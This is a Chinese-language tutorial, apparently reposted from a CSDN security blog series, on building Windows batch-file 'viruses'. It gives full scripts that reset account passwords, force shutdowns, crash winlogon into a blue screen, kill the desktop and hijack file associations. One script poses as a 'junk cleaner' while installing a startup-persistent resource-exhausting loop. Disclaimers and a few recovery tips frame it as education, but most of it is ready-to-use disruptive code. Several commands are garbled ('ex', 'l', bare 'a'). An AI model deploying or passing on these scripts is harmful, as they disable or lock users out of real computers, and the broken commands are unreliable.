【编者按】病毒这个不速之客让人谈之色变,它像一个藏在斗篷侠下的黑衣人,被“光顾”的人就会倒霉。本文为作者的网络安全自学教程系列文章之一,将讲解简单的病毒原理知识,并通过批处理代码制作病毒,包括自动启、修改密码、定时关机、蓝屏、进程关闭等功能。希望这篇基础文章对大家有所帮助,更希望大家提高安全意识,学会相关防范,也欢迎大家讨论。
作者 | 杨秀璋
责编 | 夕颜
本文授权转载自CSDN博客专家Eastmount
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.关机bat脚本
计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。计算机病毒是一个程序,一段可执行码。就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
下面讲解第一个批处理脚本,主要是调用“shutdown”实现关机。其基本步骤如下:
新建文本文档
输入 shutdown -s -t 600
把txt改成bat
如下图所示,运行CMD可以查看shutdown命令的基本用法。
基本命令为:
1 shutdown -s -t 600
2//现在让系统600秒之后关机
3
4shutdown -a
5//终止关闭计算机
运行结果如下图所示:
新建“”并填写“ shutdown -s -t 600”,某些系统需要在“文件夹选项”中,显示“隐藏已知文件类型的扩展名”。
双击bat文件即运行关机,如果需要取消,还是在CMD黑框中输入“shutdown -a”命令。
二.修改密码和定时关机病毒
接下来分享一个比较完整的病毒制作过程。
第一步,新建game.bat文件。
程序编写如下所示,其中“@echo off”表示关闭回显,“color 0a”表示设置颜色。
1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜单
7echo 1.修改管理员密码
8echo 2.定时关机
9echo 3.退出本程序
10echo ===================================
11
12pause
运行结果如下图所示,可以看到标题为“Eastmount程序”,并且包含相关内容,这就是批处理文件执行过程。
第二步,做一个选择判断,该程序需要和用户进行互动。
核心代码为“set /p num=您的选择是:”,其表示设置变量num,“/p”表示暂停并等待用户输入,用户最终输入的值赋为num。
1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜单
7echo 1.修改管理员密码
8echo 2.定时关机
9echo 3.退出本程序
10echo ===================================
11
12set /p num=您的选择是:
13
14pause
输出结果如下图所示:
第三步,补充修改管理员密码、定时关机、退出等命令。
修改管理员密码的命令是微软所有系统的通用命令,下述代码是修改当前管理员密码为“123456”。
1 net user administrator 123456
第二个选项是关机,命令如下:
1 shutdown -s -t 100
第三个选项是退出本程序。
1 exit
接着编写判断和跳转批处理代码,代码如下所示,“>nul”表示不输出运行提示信息。
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6echo ===================================
7echo 菜单
8echo 1.修改管理员密码
9echo 2.定时关机
10echo 3.退出本程序
11echo ===================================
12
13set /p num=您的选择是:
14if "%num%"=="1" goto 1
15if "%num%"=="2" goto 2
16if "%num%"=="3" goto 3
17
18:1
19net user administrator 123456 > nul
20echo 您的密码已经设置成功!
21pause
22goto menu
23
24:2
25shutdown -s -t 100
26goto menu
27
28:3
29exit
此时输入“1”会提示系统错误,如下图所示:
同时,杀毒软件也会提示黑客修改电脑,点击“允许操作”即可,
接着增加“cls”命令清屏。同时,为了避免输入数字“4”会从头执行到尾,补充一个提示信息。代码修改如下:
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜单
9echo 1.修改管理员密码
10echo 2.定时关机
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu
22
23:1
24net user administrator 123456 >nul
25echo 您的密码已经设置成功!
26pause
27goto menu
28
29:2
30shutdown -s -t 100
31goto menu
32
33:3
34exit
此时运行如下图所示:
继续修改代码,补充设置的用户名和新密码,关机时间等。
1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜单
9echo 1.修改管理员密码
10echo 2.定时关机
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的选择是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!请输入1-3正确的数字
20pause
21goto menu
22
23:1
24set /p u=请输入用户名:
25set /p p=请输入新密码:
26net user %u% %p% >nul
27echo 您的密码已经设置成功!
28pause
29goto menu
30
31:2
32set /p time=请输入时间:
33shutdown -s -t %time%
34goto menu
35
36:3
37exit
以“管理员身份运行”后,成功修改“xiuzhang”用户的开机密码。
输入2可以设置关机时间,这里就不再赘述,第一部分已经详细讲解。
三.自启动死机病毒
接着编写一个伪装成“系统垃圾清理”的代码,它其实是一个导致系统死机的代码,也不能算是“病毒”,更多是一个恶作剧程序。其原理是不断打开CMD程序,占用系统资源从而导致死机,并且每次开机都会自动启。
PS:这里强调一句,建议大家在虚拟机中运行该代码。我们作为安全工程师,希望您们去了解漏洞背后的原理,更好地进行防御,绿色网络需要我们共同维护,杜绝一切违法行为。
第一步,在C:\windows目录下创建文件“windows.bat”。一个“>”表示覆盖文件内容,两个“>>”表示追加一句话至文件末尾。
1echo start cmd >c:\windows\windows.bat
2echo %0>>c:\windows\windows.bat
用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪,%0是再次执行该程序的意思。但是,这样只能让用户死机一次,重启系统以后,不再打开这个文件以后,就不再会中招了。
第二步,将这个恶意脚本放到开机菜单中,每次开机都自动启动运行并导致电脑死机。
errorlevel为预定义变量,随着系统变化而变化。如果为0表示上一条命令执行成功,如果非0表示上一条命令执行失败,它不是Win7系统,而执行下面这条命令(XP系统、2003系统)。
代码“echo.”表示空行,比如代码:
输出结果如下图所示:
第三步,接着编写next区域代码,完整代码如下所示。
1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7
8echo start cmd >c:\windows\windows.bat
9::echo %%0>>c:\windows\windows.bat
10
11copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
12if %errorlevel%==0 goto next
13
14copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中,请不要关闭窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完毕,共清理垃圾500M=======
25echo.
26echo.
27echo =====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序运行失败,请【使用管理员权限】重新运行!========
34echo.
35pause
注意,我注释了重复操作代码“::echo %%0>>c:\windows\windows.bat”,否则开机自启动很麻烦。接着运行代码,如下图所示,需要右键“以管理员身份运行”。
代码会在C:\windwos目录下创建批处理文件“windows.bat”。
同时,在我的Win10系统开机自动动目录下也有该文件。
目录:…\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
打开该文件可以看到写入的“start cmd”代码,表示打开CMD。
双击该“windows.bat”文件,运行结果如下图所示。
总结:本文编写了一个系统清理工具,其实是把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的,重复调用CMD占用资源。如果中了该病毒,用户可以使用PE到开启启动目录把windows.bat文件删除,或者重装系统,再次建议大家别让它重复运行。
四.进程关闭病毒
再看一个伪装垃圾清理的批处理代码。该命令是杀死进程,“/im ex”表示要杀死的进程名称,关闭桌面;“/f”表示强制杀死;“>nul”表示在屏幕上不要输出任何信息。
1taskkill /im ex /f >nul 2>nul
完整代码如下所示,其中“Start c:\windows\ex”表示继续开启桌面,“ping -n 5 127.0.0.1>nul”用于消耗时间。
1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7echo.
8echo =====垃圾清理中,请不要关闭窗口=========
9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im ex /f >nul 2>nul
12echo.
13echo =====拐了,你的系统已经废了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17Start c:\windows\ex
18echo.
19echo =====已经修复好!是不是吓坏了!!O(∩_∩)O==========
20pause
运行该批处理程序,桌面会消失,如下图所示。
过一会桌面又会恢复。由于作者桌面东西太乱,这里仅显示壁纸展示。
五.最简单的蓝屏炸弹文件
新建文本文档
输入:ntsd -c q -pn winlogon.exe,表示强制杀死进程
工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
txt修改为bat
开始->程序->启动,打开game.bat文件
黑客很少攻击个人,一般攻击服务器,该命令对2003的服务器特别有杀伤力
双击之后,服务器直接蓝屏显示并重启。
ntsd从Windows 2000开始就是系统自带的进程调试工具,在system32目录下。ntsd的功能非常的强大,用法也比较复杂,但如果只用来结束一些进程,那就比较简单了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。l也不要杀掉,它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出,所以可以用来在命令行下终止进程。
打开cmd 后输入以下命令就可以结束进程:
方法一:利用进程的PID结束进程
命令格式:ntsd -c q -p pid
命令范例:ntsd -c q -p 1332 (结束ex进程)
范例详解:ex的pid为1332,但是如何获取进程的pid呢?在CMD下输入TASKLIST就可以获取当前任务管理器所有进程的PID。或者打开任务管理器,在菜单栏,选择“查看”->“选择列”,在打开的选择项窗口中将“PID(进程标识符)”项选择钩上,这样任务管理器的进程中就会多出PID一项了。PID的分配并不固定,是在进程启动是由系统随机分配的,所以进程每次启动的进程一般都不会一样。
方法二:利用进程名结束进程
命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 为进程名,exe不能省)
命令范例:ntsd -c q -pn ex
另外的能结束进程的DOS命令还有taskkill和tskill命令。
六.最简单的扩展名病毒
将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密,当你要打开文件时,需要密码,此时通过比特币付费进行勒索。
下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件,会认为它是一个txt文档,用记事本打开,导致可执行程序运行不起来,这是就是这个病毒的原理。
新建文本文档
增加代码:a
工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
txt修改为bat
开始->程序->启动,打开bat文件
双击运行bat文件之后,我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序,把系统的关联搞混乱了,它恢复起来很麻烦。
EXE程序打开如下图所示。
甚至打开CMD都是TXT文本文件。
接着需要执行下面的命令还原exe文件。
a
还原的代码及效果如下图所示。
其他所有文件格式都转换为txt文件,如下所示。此时,如果隐藏文件扩展名,甚至可以修改图标伪装成目标应用,当用户点击时会执行这些破坏;但由于不知道目标是否有隐藏文件扩展名,还是不建议这种“笨”方法。
1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...
解决方法:
如果您不幸中了该病毒,怎么解决呢?如下图所示,还原所有正确关联即可。
PS:还有一些病毒,比如VBS脚本、网页弹窗(网站钓鱼)等,这里不再讲解,推荐读者阅读前文“[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探”。如果把病毒程序放到启动项,每次开机都会自动执行。
七.总结
希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第44篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
侠之为大,为国为民。向一线医护人员、军人、工人、科学家和所有工作者致敬。咱们中国人一生的最高追求,为天地立心,为生民立命,为往圣继绝学,为万世开太平,他们真的做到了。生活哪有什么岁月静好,只不过这些人替我们负重前行。希望每一个人都健康平安,戴口罩不出门,勤洗手多吃饭。武汉加油,湖北加油,中国加油。众志成城,加油必胜!!!
原文链接: